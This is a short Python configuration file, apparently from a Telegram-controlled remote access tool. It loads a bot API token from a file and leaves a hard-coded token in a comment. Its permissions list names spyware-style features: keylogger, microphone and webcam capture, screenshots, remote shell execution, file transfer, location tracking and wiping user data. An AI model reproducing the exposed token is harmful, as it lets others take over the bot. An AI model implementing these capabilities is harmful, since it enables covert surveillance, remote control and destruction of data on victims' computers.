config.py 1.2 KB

1234567891011121314151617181920212223242526272829303132333435
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. from os import path
  4. from services.startup import CURRENT_DIRECTORY
  5. # Read telegram bot api token
  6. def ReadTelegramBotAPI_Token() -> str:
  7. token_file = path.join(CURRENT_DIRECTORY, "token.txt")
  8. if not path.exists(token_file):
  9. return ""
  10. with open(token_file, "r") as api_token:
  11. return api_token.read()
  12. # Telegram Bot API token
  13. token = ReadTelegramBotAPI_Token() #"1372352235:AAF_a2mqhyak1sBJl0IaDah85Ioy2MMB7Yc"
  14. # Request password from user after expiration
  15. auth_expire_time = 3600
  16. # Permissions list
  17. perms = {
  18. "TASKMANAGER": "Kill running processes",
  19. "FILEMANAGER": "List files, directories",
  20. "FILETRANSFER": "Download & Upload files, dirs",
  21. "INFORMATION": "Get system information",
  22. "MICROPHONE": "Record audio from microphone",
  23. "SCREENSHOT": "Get desktop screenshot",
  24. "WEBCAMERA": "Get webcam screenshots & videos",
  25. "UNINSTALL": "Uninstall from system",
  26. "KEYLOGGER": "Record keyboard events",
  27. "KEYBOARD": "Control keyboard buttons",
  28. "LOCATION": "Get location based on BSSID",
  29. "VOLUME": "Control system volume",
  30. "SHELL": "Execute system commands",
  31. "POWER": "Control computer power",
  32. "WIPE": "Wipe user data",
  33. }